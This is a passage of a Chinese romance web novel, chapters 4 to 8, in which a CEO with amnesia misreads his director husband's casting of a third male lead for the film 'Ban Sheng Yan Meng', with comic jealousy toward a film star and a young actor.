骨节分明的手指捻起其中一份笔记，上面照片赫然是今天给他留下“深刻印象”那个试图套近乎的小生。
裴澈垂眸看向地上的另一份，这个演员和他没有直接合作，但裴澈认真看过他和角色卡一块提交的录制片段，表演水平远高于试镜现场的表现。
在试镜现场压制自己的实际水平，为什么？
就在这里，裴澈的余光瞥见一张角色卡照片。
照片被压在其他文件下面，露出大半演员的脸，一双清亮的眼睛有些质朴，但极具神韵。
非常具有可塑性的气质，他如果看到，绝对不会忘记。
“最近有什么好本子开拍吗？”
卧室里，确认裴澈短时间内不会回来的贺朝觉，狗狗祟祟地拨通了李特助的电话。
啊？好本子？
最近裴先生要拍的新项目，应该就那一个吧，BOSS不是也知道吗？
李特助只怔了一小会，迅速回复：“《半生烟梦》剧本就位正在选角，导演组已经组建好了。”
贺朝觉点点头，声音深沉：“男一号定了吗？”
语气里颇有几分要是还没定下，他就要插手的气势。
“定下来了。”
什么？贺朝觉眉头皱起又很快松开。也是，好剧本的男一号肯定是许多人追逐。
游刃有余地追问：“那男二号呢？”
“也定了。”
这下贺朝觉的下颌线收紧了，怎么男二也定得这么快？
要是男三也没有，就要换个本子问了。
要不是怕吓着裴澈，男二男三贺朝觉都觉得配不上他。
他目光投向幽深的夜空，黑眸中的神色比夜空更加黑不见底。
罢了，实在不行，自己投资新项目，让影帝影后都来给裴澈当配！
但这下李特助回复得很快，打碎了他刚刚升起的豪情壮志：“BOSS，男三的人选还没有定，好像是试镜效果不太理想。”
哼！贺朝觉无声地冷哼一声。
能理想嘛！裴澈都没参与试镜！
他嘴角翘起，自豪之情溢于言表：“那你再安排一场试镜。”
啊？
李特助把手机从耳边拉开一点距离，瞥了眼上面的来电联系人，确定是BOSS没错。
BOSS这个意思，难道是要塞什么小演员进来。
……裴先生知道吗？
回想起今天在病房门口听见的惊天八卦，李特助一股义愤涌上心头，忍不住试探：“BOSS，加这场试镜您是要……？”
如果BOSS包养小情儿，要和裴先生闹离婚——
“这还不明显吗？李特助，你最近是不是假放太多了。”
贺朝觉眉头一夹，想起来这走狗没少帮那个“贺朝觉”干坏事。
他的声音瞬间冷厉下来：“把男三的剧本发
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给裴澈，这次试镜谁都不准插手！”
李特助满头雾水地挂断电话，觉得自己可能确实该加个班清醒一下。
每个字都清楚，怎么组合在一起就听不懂呢？
BOSS和裴先生一块回的家，是他去送的，怎么现在递个话还要自己在中间？
他有点恍惚地拨通裴澈的号码。
“喂？公司那边出什么事了吗？”
裴澈放下年轻演员的照片，接起电话。
贺朝觉出院，他特意嘱咐过李特助，这几天不是特别紧急的事不用找过来。
“哦不是，”李特助组织语言，“BOSS让我告诉您，看一下男三的角色，然后还说……”
男三的角色？裴澈视线瞬间落在那张照片上。
他可以确定，这个申请了男三角色的演员，没有出现在试镜现场。
“还说什么了？”
“让您再安排一场新的试镜。”
试镜。
裴澈指节曲起，在地毯上轻敲：“嗯，知道了。”
李特助挂断电话，再度茫然，裴先生知道什么了？
这边裴澈却是轻快地站了起来。
果然，今天的试镜有猫腻。贺朝觉特意拐个弯，让李特助告诉他这个消息。
裴澈穿上拖鞋往卧室走去，对老攻的撒娇伎俩心头酸软又无奈。指望贺朝觉一个人乖乖养病，果然不现实！
“咚咚咚——”
敲门声响起，吓得贺朝觉一把蹿回床上。
没等他拉上被子，眉眼间萦绕放松的青年已经推门走了进来。
夜风卷着一丝清凉从卧室里飘过。
裴澈视线凝滞了。
窗户大开，贺朝觉维持着钻被窝钻到一半的姿势，僵硬转头和他对视。
“贺朝觉！”
裴澈肃着脸坐在一边，贺朝觉低头羞愧。
眼下肯定不能说些“我病得更厉害对你有好处”的话惹他生气，虽然贺朝觉不排除自己心里有过这样的想法。
他支吾了一下，说：“我热。”
这个也是实话。躺在这张承载着无数罪证的床上，满鼻满眼都是和裴澈一块生活的气息，贺朝觉一边觉得罪恶，一边确实觉得很热。
热？
裴澈的想法却不一样。闻言心中一动，伸手在贺朝觉额头上试了一下。
嘶，好烫！
“发烧了。”这下他顾不上疾言厉色，帮贺朝觉掖紧被子，心下自责。
哪怕是因为贺朝觉不自在，他也不该把一个脑子不好的病号留在房间。
“我去给你拿药，这次不许再开窗了。”
一粒退烧药下肚，喝了点热水，贺朝觉开始有点晕晕乎乎。
裴澈守在一边，心里盘算着明天也空出日程在家陪他。
因为想得专注，青年的脸上呈现出一种淡漠疏离的神情。那种疏离的感觉，让他的五官在光影中显得格外清冷，仿佛与整个世界有了一层若即若离的距离。
贺朝觉心头一跳，本能开口：“你——”
“怎么了？”
裴澈偏头看他。
好像色彩又重新出现，不落尘世的仙人沾染上了凡尘气息。
贺朝觉张张嘴，若无其事地问道：“你刚刚敲门进来时，好像有开心的事情？”
“嗯，工作上的事。”
裴澈语气清浅，但总体比较放松，有种解决了一件难题的轻快感。
贺朝觉松了口气，没有察觉就好。
虽然相信以裴澈的实力根本不需要自己运作，甚至如果不是那个“贺朝觉”的手笔，裴澈早就不是池中之物了。
但要让他知道，这个试镜机会和自己有关，肯定会多想的。
就在这时，裴澈低头凑了过来。
他眉梢带笑，丹凤眼睨着贺朝觉：“不是你让李特助告诉我的？”
贺朝觉瞬间如堕冰窖。
5. 第 5 章
贺朝觉的反应完全超出裴澈预期。
在他看来，贺朝觉查到试镜背后有问题，借由李特助把信息传递给他，是夫夫之间的默契。
既是巧妙地为自己带病操心讨饶，也是委婉地提醒他，该下班了。
虽然一过来就发现贺朝觉发着烧吹凉风，但共处一室吃药养病的场景，还是让忙了许久的裴澈感到熟悉的温情。
怎么又……
贺朝觉头上纱布未拆，脸色几乎和纱布一般白，药物带来的睡意一扫而空。
“你……都知道了。”他艰涩开口。
裴澈试探道：“对，男三的角色，新试镜，李特助都和我说了。”
贺朝觉面色不变，只是有种果然如此的感觉。
看来说的是一件事啊。
裴澈想了想，又说：“我担心男三的角色，背后有人在操控，想把自己的人推上去。”
贺朝觉点点头：“你不用多想，专心准备试镜就是。”
确实说得是同一件事。
裴澈彻底放下心来，又用征求意见的口吻问他：“我想着，新试镜的时间不用太着急，可以稍微往后推几天。一是你正病着，我可以在家照顾，二是竞争这个角色的还有一个新人演员，看起来很有潜力。”
就是照片上那个没有出现在试镜现场的。裴澈找到他的作品集粗略看了一下，可塑性很强，最重要的是，气质和男三这个角色非常契合。
因为怀疑今天的试镜有问题，裴澈想找到他，亲自谈一谈。
贺朝觉看着眼前的青年红唇张合，语气平和，有条不紊地和他讨论这些，只觉得头晕目眩。
听完这些理由，贺朝觉没多说什么：“你自己决定就好，定下来日期和李特助说一声。”
裴澈只当是话家常，原本也没指望贺朝觉给他提建议，闻言当然是说好。
只不过，和李特助说，为什么要和李特助说？
裴澈感觉隐约抓住了一丝线头，但那种不寻常的感觉转瞬即逝，从脑海中滑走了。
今天两人都是身心俱疲，裴澈安抚过贺朝觉的情绪，见退烧药带来的睡意重新浮现，也去洗漱睡了。
通过一扇嵌入墙体的隐形门相连的，是隔壁分享洗浴间的另一间次卧。
当时设计时，贺朝觉给出的理由是他工作比较忙，如果回来晚了担心打扰裴澈休息。
实际上，婚后贺朝觉基本从不加班，要么也是带着文件回家看，那间次卧就这么闲置着，只有最近裴澈忙新项目睡了几次。
现在倒是方便他夜里照看病人，又不打扰贺朝觉休息。
裴澈疲倦地躺下，很快进入了平稳的梦乡。
一墙之隔，本该沉沉睡去的贺朝觉突然睁开了眼睛。
他瞪着头顶吊灯的影子，心情久久不能平复。
裴澈讨论对自己试镜的安排时，在他面前展现出的乖巧顺从，简直让贺朝觉不寒而栗。
他猛地伸手，从床头柜上取过手机。
搜索——
#斯德哥尔摩症症状
#斯德哥尔摩症患者爱上施虐者的表现
#怎么和斯德哥尔摩症患者相处
*
大概是太累加上睡得早，裴澈居然睡得很沉，醒来时感觉很有精神。
他神清气爽地坐起身，习惯性抓向床头的马克杯。
入手重量一轻，裴澈怔怔低头，杯子里空空荡荡，并没有温度适口的热水。
是了，自从贺朝觉知道自己的这个习惯，每早都是掐着点提前去接的。
现在贺朝觉病了，还没有起床。
想到这，裴澈对睡在隔壁的病号顿生出几分怜爱之情。
难得闲在家里，见时间还早，他索性给刘嫂发消息说早上不用来了，来到厨房，打算亲手给自己和贺朝觉弄点早餐。
冰箱里的食材定期配送，都很新鲜。
裴澈挑了四只鸡腿，用菜刀左右横着各划拉一下，又用刀尖伸进去一刳，腿肉就顺着筋膜方向分出来了。
他熟练地把分离出的腿肉切成小块，剩下还带着不少碎肉的骨头放进水里泡着。
都是留学时练出来的手艺。
洗净的鸡骨焯完水，直接和淘过的米一起加水入锅，电饭煲闷半小时，一会就是香喷喷的鸡粥。
等待粥煮好的时间里，裴澈点开手机，找到昨天晚上从角色卡上保存的号码，编辑了一条短信发过去。
除了提及对对方的履历感兴趣，留意到对方没有出现在试镜现场，裴澈没有提及额外的信息，只是附上自己个人网页和工作室的网址。
毕竟，他不想被当成骗子。
贺朝觉的生物钟一向很准，等鸡粥闷好，裴澈看时间也差不多到他醒的时候了，揭开锅盖往里面加盐。
等盐粒随着搅拌在锅里化开，楼上卧室传来了响动。
贺朝觉扶着头往外走，感觉后脑还有点痛。
家里空荡荡的好像没人。裴澈早早出门了？
贺朝觉冷冷垂眸，按下心里的失落。马上要试镜，裴澈自然是要努力准备的。
他沿着楼梯往下，突然听见厨房那边传来一道清脆的撞击声音。
瓷碗掉在台面上，随后是压着嗓子的“嘶——”
裴澈甩甩被烫到的手指，当机立断走到水池边，送到下面用冷水流冲。
还好，只是碰到了一点。
身后的贺朝觉三步并作两步从楼梯上冲下来：“我去拿烫伤膏。”
过了一会，裴澈坐在沙发上，贺朝觉专注地用棉签给他上药。
阳光从落地窗大片大片地洒进来，染在贺朝觉的发顶眉梢，光影下稳重的眉眼渐渐和往日重合。
裴澈有点不好意思：“我想着好久没做饭了，可以给你做个早餐。”
“以后不要做了。”
意识到自己语气太严厉，贺朝觉顿了一下，捉起裴澈上好药的手：“我不是那个意思。我是说，这可是艺术家的手，怎么能用在厨房里。”
他抬起头，神情认真又郑重：“我不希望你为了照顾我，耽误自己的事业。”
“倒也没有耽误——”
“你听我说，”贺朝觉强硬地打断他，“以后，和你合作的肯定都是影帝影后！”
“虽然那个新人很有潜力，但你也很有潜力，你一定可以拿下的！”
“……”
裴澈：拿下个新人倒不必如此阵仗。
不过贺朝觉的发言过于掷地有声，他还是有点感动的。
就在这时，门铃突然叮铃铃地响了起来。
裴澈制止要去查看的贺朝觉，自己走了过去。
别墅安装的是最新款的可视门铃，刚一接通，一张带着墨镜口罩的脸露出来。
门铃前的男人掀开墨镜，投来一个wink。
“谢以寒！你怎么回来了！”
裴澈惊喜叫道，回头和贺朝觉说：“我去门口接一下他。”
沙发上的贺朝觉表情温和，一副善解人意的样子：“你朋友？去吧。”
其实是他们的共同朋友，裴澈无奈地看了贺朝觉一眼。算了，一会聊起来就重新认识了。
“这么隆重？亲自来门口接我？按下门我自己就进去了。哎——”
裴澈一把
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拽住谢以寒，按在花园的椅子上。
“先给你交代一下，贺朝觉出车祸了。”
“啊？什么时候的事？严重吗？”
“就在昨天，人没事，脑部暂时有淤血。但他记忆有点混乱，”裴澈严肃道，“老是说一些奇怪的话。”
谢以寒眨眨眼睛：“能有多奇怪？”
一道阴影突然遮蔽了头顶的太阳。
“你们在干什么？”
裴澈和谢以寒抬头看去，贺朝觉不知道什么时候跟了出来，正阴测测地居高临下看着他们。
“……”
察觉裴澈表情不对，贺朝觉立马神色一肃，咬牙切齿地挤出一抹笑意：“外面冷，怎么不进去聊？”
*
贺朝觉盛了一碗鸡粥，放在裴澈面前。
“鸡粥！澈澈，你做的？好久没吃你做的鸡粥了！”
贺朝觉坐到裴澈的另一边，闻言不咸不淡地看了他一眼：“没有你的份。”
谢以寒不以为意：“哪敢劳烦贺总，我自己来！”
说着“芜湖”一声冲进厨房。
贺朝觉：……
时间倒回到十分钟前，裴澈刚刚起身去接谢以寒的时候。
裴澈一走，贺朝觉就打开备忘录，刷拉拉勾了两条待办事项。
鼓励裴澈专注自己的爱好。对勾
给予裴澈自由交友的空间。对勾
对照昨晚上网查到的建议，贺朝觉在下方补充了一些笔记，颇为满意地对自己点点头。效果不错，继续保持！
过了两分钟，裴澈还是没回来，贺朝觉努力不去想象他们在外面说什么。
但众所周知，越努力不要想的事，越容易去想。贺朝觉决定打开浏览器看一些心理问答转移注意力。
没想到，一打开浏览器，自动推送的新闻就蹭地跳了出来——
“影帝谢以寒回国。”
他为什么突然回来？找裴澈做什么？
贺朝觉看着坐在裴澈另一边给自己盛完一碗鸡粥一点不见外吃得贼拉香的谢以寒，心里狐疑。
一开始只是觉得这个名字耳熟，等看见新闻，贺朝觉什么都想起来了。
谢以寒，裴澈的大学同学兼初恋，人名不符实，性格花里胡哨拈花惹草爱热闹。
就是因为他动不动来招惹裴澈，让裴澈在那个人手里本就不好过的生活雪上加霜。
他突然来找裴澈，难道——
贺朝觉不动声色：“你们刚才在花园聊什么呢。聊那么开心？”
裴澈一怔，迅速给谢以寒丢了个眼色。
谢以寒咽下一口粥：“哦、哦，我们刚刚在聊《半生烟梦》的事。澈澈，是吧？”
早在听说《半生烟梦》项目开始的时候，谢以寒就问裴澈能不能带上他一起。
那时候谢以寒刚拿下双料影帝，风头正劲，如果出演是不错的宣传噱头。
但裴澈不看重这些，觉得几个主要角色和谢以寒都不太契合，毫不留情地拒绝了他。
谢以寒越挫越勇，缠着他说特别出演也行，随便给个边角的龙套角色也行。
这是还不死心哪。
裴澈看穿他的心思，嗯了一声。谢以寒瞬间喜上眉梢。
贺朝觉看着谢以寒厚颜无耻的样子，已经看透了他的想法。
他沉声问道：“你是专程为了《半生烟梦》选角飞回来的？”
“没错，”谢以寒点点头，“澈澈，那男三的角色找得怎么样了？我可以帮忙推荐几个人。”
贺朝觉再也忍不住了：
“男三已经有人选了，你不用再惦记！”
6. 第 6 章
“男三已经有人选了，你不用再惦记！”
谢以寒的粥吃到一半，闻言呛了一下，翻着白眼半天才咽下去。
“谢谢。”他从剧烈的咳嗽里缓过来，看向给他拍背的裴澈，表情茫然地眨眨眼睛。
贺朝觉说什么？
裴澈反应过来：“他瞎说的。”
“我没——”
裴澈面不改色地拿胳膊肘顶了贺朝觉一下。
贺朝觉狠狠剜了一眼谢以寒，委委屈屈闭嘴，看向裴澈。
不要脸的水货影帝为要个男三都欺负到家里来了，裴澈不会就这么把角色让出去吧。
裴澈：“男三确实已经有新的安排了。”
贺朝觉：不愧是他，说话滴水不漏。
接下来也聊不下去了，贺朝觉就像一个尽职尽责的守门员，在一边对谢以寒虎视眈眈，只要话题稍微有点苗头，他就立马扑过去掐断。
裴澈把谢以寒送到门口，贺朝觉站在他身后，露出高深莫测的胜利者神情。
谢以寒：……
“澈澈，等开机了和我说，我去探班顺便蹭个大红包。”
不要脸！
送走谢以寒，贺朝觉开始有了危机感，每天三问裴澈试镜准备得怎么样，同时卯足了力气养病。
没过几天，复查时医生说可以拆绷带了。贺朝觉没着急回去工作，反而催着裴澈赶紧把试镜定下来。
“我心里有数。你今天第一天复工，我送你去公司吧。”
裴澈携着贺朝觉步入公司。
一边是清冷美得如同白玫瑰的青年，一边是西装革履气质出众的总裁。
果然美人配美人，是双倍养眼啊啊啊！
两人刚路过前台走了不远，背后两个小姑娘就相视一笑，凑到一块大磕特磕。
“刚刚总裁给裴导开车门，你看到没有，那个对视！啊我死了！”
“好久没有合体，一上来就这么甜！”
“不愧是真夫夫这么好磕，呜呜呜他们一定要好好的！”
踩在地板上的皮鞋突然顿住。
两个前台瞬间弹射分开，正襟危坐，目不斜视。
贺朝觉和背后长了眼睛似的，转过身来狠狠瞪了他们一下：“上班时间，不准议论！”
说完忙去看一边的裴澈。
这些人根本不知道裴澈有多好，居然当着他的面就敢在背后议论，不用听都知道，说的肯定是些中伤之言，难听至极，不堪入耳！
贺朝觉抱着安慰的心态看向裴澈，却见裴澈神情如常，反而对他的话有些讶然。
贺朝觉：……痛心，好痛心。
跟在那个“贺朝觉”身边，这样的话他想必已经听得麻木了吧。
但贺朝觉的心却揪紧了，心疼得不得了。
他拉着裴澈往前继续走了两步，突然停下来，猛地转身单手揽住裴澈的肩膀——
“从今天开始，他，就是贺氏集团的总裁夫人！”
总裁夫人板着脸匆匆离开了，留下贺氏集团的总裁大人一人独赏顶楼办公室的风景。
临走前，他还丢下一句：“哦对了贺朝觉，辰辉刚刚上市，还没有贺氏集团。”
不要紧，辰辉公司的总裁大人站在落地窗前，俯瞰着他手下的版图。
李特助的声音从背后响起：“BOSS，您找我？”
贺朝觉深沉地看向前方，故意没有理会他。
李特助抬头看了一眼：“BOSS，对面大楼施工是有点吵，我已经派人去协商了。”
贺朝觉：……
他转过身，把装修工地丢在脑后，极具压迫力的目光对着李特助上下扫视。
今天如果不来公司，他都不知道，自己对于公司的掌控力竟然已经差到了这种地步！
不愧是那个“贺朝觉”的走狗，想必公司的舆论他也有一份贡献吧。
贺朝觉目光森寒，宛如实质，有种要把灵魂看透的感觉。
直把李特助看得脑门冒汗，才徐徐开口：
“公司里的人平时聊些什么，你都知道吗？”
李特助有点卡壳：“总的思想动态一直关注，具体聊些什么，涉及个人事务的……”
贺朝觉冷冷打断：“那涉及总裁家事的呢？”
李特助心里一惊，倒吸一口凉气。
总裁连这个都知道了？！
离开办公室，李特助火速点开微信群。
【（99+）陪你朝暮[糖果][糖果][糖果]速磕】
【放假倒计时-2天：风紧扯呼！总裁知道了，最近收敛点，上班时间不要随地大小磕！】
瞬间刷屏了一堆[大惊失色]和[了解]的回复。
给李特助完下马威，整治了一通公司风气，贺朝觉又处理了些积压的文件，转眼就到了中午。
办公室侧间是专门的休息室，遮光百叶帘完全放下时，白天屋内也能漆黑一片，而且隔音效果很好。
贺朝觉一边想着事，一边躺到床上，随手按下关帘的遥控。
“滴——”地一声，百叶缓缓放下。
就在百叶放到底，要缓缓展平的时候——
贺朝觉余光扫过百叶的空隙，不知道看到了什么，突然从床上弹起来，猛按开帘。
遥控器被他按出了火星子。
一等百叶帘卷起半截到方便观察的高度，贺朝觉就把脸咻地贴到窗边。
对面大楼的低层是一家高级咖啡厅。一层半开放，二层是包间。
此刻临窗包间里坐着的那个水青色上衣的小人，不就是早上才从公司离开的裴澈吗？
易帆捏着马克杯，紧张地搅着里面的咖啡。
收到短信的时候，他还以为是骗子，但附的网页链接看起来都特别真实。心里有个声音告诉他，试试吧，假如是真的呢？
现在对面真坐下了裴导，他就像被天降彩票砸得晕晕乎乎。
裴导比采访视频里看起来还要好看，气质清冷有点不易接近的样子，但是刚刚问自己喝什么的时候好温柔啊……
对面的裴澈也在观察易帆。
孤儿，从小被姑姑一家收养，性子温和不爱与人起争端，往坏了说就是有点包子。
想起资料里易帆姑父近期发了笔横财的结论，裴澈敛了敛眼神：
“我在短信里说，当天在试镜现场没有见到你。现在看到真人，倒是隐约想起来，其实那天你来了吧？”
裴澈的记性很好，说是隐约记起，语气已经带上了九分笃定。
贺朝觉车祸他匆匆离开，没心思关注别的。现在回想起来，当时工作室门口反常地蹲着个人，应该就
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是易帆了。
易帆有点意外地点点头：
“试镜前晚，我收到短信通知，说我没有入选试镜，但之前收到的消息……明明不是……”
“对，我亲自经手的初选，你在名单里。”
裴澈斩钉截铁的话一出，易帆的眼眶就红了。
那天他鼓起勇气去了现场，等在外面想等试镜结束，看有没有机会找到裴导。
找到之后怎么呢，他其实没想好。但他真的真的真的很珍惜这个机会，逆来顺受的人生里，这是他第一次鼓起勇气为自己争取点什么。
易帆握了握拳，表情变得坚定了起来：“裴导，我怀疑、怀疑我姑父私下里把我的试镜名额卖了。”
起初还有点结巴，说到后面就顺了起来。
易帆讲述着自己怎么发现表弟最近消费水平突然变高，怎么和姑父对峙被矢口否认，怎么偷偷关注姑父最近接触的可疑人士，锁定了哪些怀疑对象。
裴澈都静静地听着，等到易帆叙述的情绪平稳下来，点点头：“谢谢你告诉我这些，基本情况我都了解了。”
易帆稳住微微发抖的手，不知道接下来会怎么样。
“那么——”
对面软座上的青年导演气势突然一变，嘴角带起微微的鼓励笑意，眼神却是瞬间凌厉：“易帆，你准备好进行试镜了吗？”
*
贺朝觉的办公室楼层较高，能从这里一眼认出对面二楼那只蚂蚁似的小人是裴澈，都多亏他太爱了……不是，眼神太好。
但包间里另一个人是谁啊，裴澈不是说要准备试镜吗？
贺朝觉脸都压扁了，也没看出来。
于是公司上下被打击完八卦气焰之后，又在中午的食堂迎来了一只狗狗祟祟的总裁。
“贺总！”
“贺总！”
贺朝觉心不在焉地和热情打招呼的员工一一点头，随手抓过一杯饮料坐到窗边。
食堂在四层，居高临下，视野极好。贺朝觉这个角度，裴澈对面那人的表情一览无余。
眼睛红红的，有点可怜。
贺朝觉面无表情地灌了一口饮料，装柔弱他也会！
就在这时，裴澈不知道说了什么，那人的眼神突然一变。
从柔弱变得凶悍，如同潜伏的猎人示弱引诱出猎物后，摇身一变就成了捕食者。
他嘴角带着轻蔑，对着裴澈不停地说话。
裴澈没有回应，好像被吓傻了。
对面的人越说越激动，甚至张开双臂挥舞起来，露出癫狂的姿态！
“啪——”
贺朝觉猛地站起来。
端着打得满满当当饭盘的李特助刚好路过，瞅了眼贺朝觉怼在桌上的半杯饮料。
“诶，BOSS您喝芒果汁啊？你不是对芒果过敏吗？”
唇周微微发红的贺朝觉视线落到他身上，眼神阴狠：
“带人封锁那间咖啡厅，一只苍蝇也不准放出来！”
“额BOSS，人家是合法经营，我们没有权利封锁它。”
而且中午都在吃饭，也没人手。李特助心里小声逼逼。
贺朝觉像看废物一样扫了他一眼，眯起眼睛。
既然如此，他只能亲自出马了。
区区一个男三，怎么这么多人抢！
7. 第 7 章
易帆的爆发力比裴澈预期还要强，而且看起来对剧本是下了狠功夫的。
一进入角色，他整个人眼神都变了，对于情绪细节的拿捏都很到位，显然有自己的思考。
《半生烟梦》是民国背景剧本，讲述在时代洪流中个人命运的沉浮。男三沈昭平虽戏份不重，却对演员要求不低。
发国难财起家，跻身上流社会，沈昭平底色自私贪婪，但也有胆有识具备狼性。
令裴澈惊艳的是，易帆不仅出色地演绎出这种与他本人截然相反的气质，同时还抓住了性格里软弱的成分，让男三的坏有了复杂性和层次。在年轻演员里，这样的理解能力属于非常难得。
试镜到一半，裴澈心里已有结论。
等片段结束，他又问了几个问题，针对易帆对剧本的处理，得到的回答也很令人满意。
性格软和的年轻人，说起剧本和角色时一反常态地滔滔不绝，眼睛里亮晶晶的。
说到后来，他好像意识到不对，有点不好意思地停下：
“……裴导，我是不是说太多了。”
“没有，很不错，给我留下了非常深刻的印象。”裴澈递过一张名片，当场拍板，“我想正式邀请你加入《半生烟梦》剧组，出演沈昭平这一角色。”
易帆愣了，似乎没想到裴澈这么直接。
试镜名额被顶替，导演主动一对一面试，还当场拿到角色，听起来就不像是会降临到自己身上的好事。
他被裴澈的话砸得晕乎乎，下意识反问：“您是不是搞错了？”
说完猛地咬住嘴唇，反应过来自己说了蠢话。
裴澈眼底不由得流露出一抹笑意。
对于有天赋又努力的演员，他向来有耐心：“没有搞错，你就是我想要的沈昭平，我很期待你的演绎。”
易帆脸涨得通红，显然没有收到过这么高的评价。
“不过——”
裴澈话锋一转，易帆坐直了，紧张地看向他的眼睛。
“我不干涉演员的私事，”裴澈语气严肃，“但我也不希望看到，演员的私事干涉到我的剧组。”
这孩子天赋很高，但裴澈担忧的反而是，在对亲人的处理上剪不断理还乱。
“等你想好了可以再联系我，晚点我的助理会拟好合同发电子版给你，你好好想想。”
不希望演员的私事干涉到剧组。
两人离开包间时，易帆还恍恍惚惚地想着这句话。
他拉开门让裴导先走，自己跟着跨出门框时，“咚”地一声撞到裴澈的背上。
这下撞得结实，易帆捂着鼻子下意识连连道歉。
抬头看去，原来是裴导突然站定，把门堵着了。
门外走廊上，一个高大颀长的男人站在阴影里，好像是在等裴导。
“贺朝觉，你怎么来了？”
裴澈蓦地在这里看见贺朝觉，又惊又喜，视线移到他嘴唇上，突然凝固：“你吃什么了？”
气势汹汹的贺朝觉没理会他，目光直直看向裴澈背后那个满脸通红揉着鼻子手忙脚乱道歉的年轻人。
呵，演技不错，怎么不去和谢以寒竞争影帝！
贺朝觉从鼻孔里重重“哼”出一声，一把将裴澈护到身后，居高临下，眼神轻蔑：“就是你？”
裴澈：？？？
易帆满脸茫然。
面前这人长得莫名熟悉，好像在电视上见过，不过要是他在电视上看见这样嘴的男人，应该……会有印象吧。
他认识自己？
懵逼归懵逼，易帆礼貌地伸出右手：“您好，我是易帆。”
一点不见方才包间里，对裴澈恶言恶行的样子。
贺朝觉目光沉沉，对这人表里不一的程度有了新的认识。
他一个多余的眼神都不想给，声音冰冷不屑一顾：
“败者的姓名，无人在意。”
“！！！”
裴澈：……禁止人身攻击。
他忙接过话头：“这是说……说他自己，摆着的姓名，他嘴过敏了吐字不清。”
为了证明，裴澈反手从贺朝觉西装外套里扯出一个工作牌，把他抻得脖子一歪。
【辰辉股份有限公司】
【姓名：贺朝觉】
【职位：执行总裁】
辰辉要求工作时佩戴工作牌，作为总裁，贺朝觉当然要以身作则。
裴澈咬牙切齿：“这是我先生，贺朝觉。他比较幽默，喜欢讲冷笑话。”边说边不动声色地狠狠踩了贺朝觉一脚。
“哦，哦哦。”易帆眨眨眼睛，恍然大悟。
贺朝觉的脚趾头差点没被踩扁，垂眸看裴澈，神色莫名。
在外受了天大的委屈，还要瞒着他。
就这么不信任他！
再看对面那个欺负裴澈的戏精更加面目可憎。
“笑话。”贺朝觉眼神凉得掉冰渣，扫在易帆身上让他凉快了两度。
“凭你的实力，和裴澈……”竞争，才叫笑话。
“……唔唔↘→，唔唔唔唔↗↘↘↘。”
裴澈及时发现话头，“啪”地一声强行手动封印，贺朝觉的话被挡在嘴里。
“你嘴过敏了，就先别说话了，我让李特助给你送药！”
贺朝觉顽强地试图透过指缝传达轻蔑之情。
“唔唔唔唔唔唔——”
裴澈捂得非常严实，贺朝觉的计划宣告破产，只能用眼神杀死易帆的间隙里，找机会突破。
这边两人像遛狗半道不想回家的大型犬和狗主人一样较着劲。
易帆闷闷的一句话突然打破僵局。
“您说的很对。”
两人同时一惊，朝他的方向看去。
年轻人没有抬头，语速加快：“您说的很对。我不是科班出生，也没有作品，凭我的实力能和裴导合作，是我做梦都想不到的。”
裴澈感觉贺朝觉挣扎的力道一顿。
“……裴导说对我印象深刻，期待我的演绎，我心里特别感恩，也特别惶恐。我自己也问自己，我配吗？但现在我回答您，我知道自己现在实力还配不上，但我一定会拼命地学——”
易帆双手握拳，眼睛晶亮，掷地有声：“总有一天，我会向您证明，向所有人证明，裴导选择我的眼光没错！”
贺朝觉大为震惊地快速眨着眼睛，没有发表评论，好像被震住了。
裴澈见他放弃挣扎，不准备胡乱发言了，松了口气。
转而郑重地看向易帆：“我等着这一天！”
兵荒马乱地送走易帆，裴澈没好气地问贺朝觉：“吃芒果了？”
“……怎么不
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说话？”
裴澈偏头看去。
贺朝觉皱着眉头，好像在思考什么令人费解的事，配合着过敏的嘴唇让裴澈有点不忍直视。
他点开手机让李特助准备药，旁边贺朝觉突然没头没脑来了一句：
“那谁叫你什么？裴导？”
易帆自顾自说了一堆话，贺朝觉都没听进去，也没兴趣听，全程就捕捉到三个关键词。
裴导，裴导，裴导。
“嗯，不是早上才和你说，今天要试镜的吗？”裴澈没有在意，而是蹙起眉头捧住贺朝觉的脸，“怎么突然跑过来，还过敏了？”
细看之下，整个嘴唇都肿了，红红的。这是生啃了一整个芒果？
“试镜。”裴澈的回答过于自然，贺朝觉不知道怎么接，视线下移，看着他的眼睛呆呆重复：
“你是导演，他是演员。”
裴澈点头嗯了一声，突然狐疑抬头：“——不然呢？”
“贺朝觉，你又想什么了？！”怎么变严重了，连他的工作都忘了！
“哦，没有。”
贺朝觉若无其事地移开视线，紧皱的眉头豁然松开，突然想明白了。
他目光深沉地看向走廊尽头，唇角勾起得意的弧度。
俗话说得好，演而优则导。裴澈这么优秀的演员，当然要当导演。
易帆这种有天赋的后辈，也不过是望其项背。
只能拜倒在裴澈面前！
现在的裴澈，根本不把一个男三放在眼里！
贺朝觉越想越自豪，神情逐渐走向狰狞，露出猖狂又放肆的笑容。
顶着这样的表情，他敢说自己没事，裴澈也不敢相信，细细问他今天工作怎么样，都干嘛了。
一边交代着自己有乖乖上班，好好吃饭，可能不小心喝错了芒果汁等等等等琐碎的小事，贺朝觉的内心烦恼又甜蜜。
这些天相处下来，裴澈好像没那么怕他了。
甚至……好像有点关心他。
他忍不住想，如果……
心脏漏跳一拍，贺朝觉火速转移话题：“你现在是在哪个剧组？”
裴澈摸摸他的额头：“怎么又忘了？《半生烟梦》，这两天就要开机了。”
说着语气带上了一点不易察觉的愉悦：“易帆是个有潜力的好苗子，我本来还担心他处理不好家里的事。”
他似笑非笑地抬头扫过贺朝觉一眼：“没想到被你一激，都变得血性起来了。”
裴澈天生性子淡，在别人面前总是清棱棱的，玩笑也少。
眼下在贺朝觉面前却整个人鲜活起来，就像黑白的水墨画里滴上了颜色。
看着这样眉目如画生动真实的裴澈，贺朝觉滚了滚喉咙，感觉有点渴。
“诶，贺朝觉。”玫瑰似的青年微微一笑：“今晚要不出去吃饭，庆祝一下吧。不过得先把你的过敏症状解决了。”
贺朝觉的心脏砰地一跳，咚咚咚咚越来越快。
裴澈还无知无觉地说着。
贺朝觉看着他，越来越压抑不住内心疯长的想法。
既然想着，等裴澈能够信任他，就放他自由，那是不是也可以……
贺朝觉猛地止住想法，血液蓦地凝固。
他在想什么呢？禽兽！
贺朝觉落荒而逃。
8. 第 8 章
庆祝晚餐最终没有吃成，不仅因为贺朝觉话说一半找了借口匆匆回去工作，裴澈当晚也接到一个电话，和原定女主演员的公司方出现了合同纠纷。
处理完这些，也到了《半生烟梦》正式开机的时间。
贺朝觉埋首在办公桌前，面无表情地看完文件，龙飞凤舞签上名字。
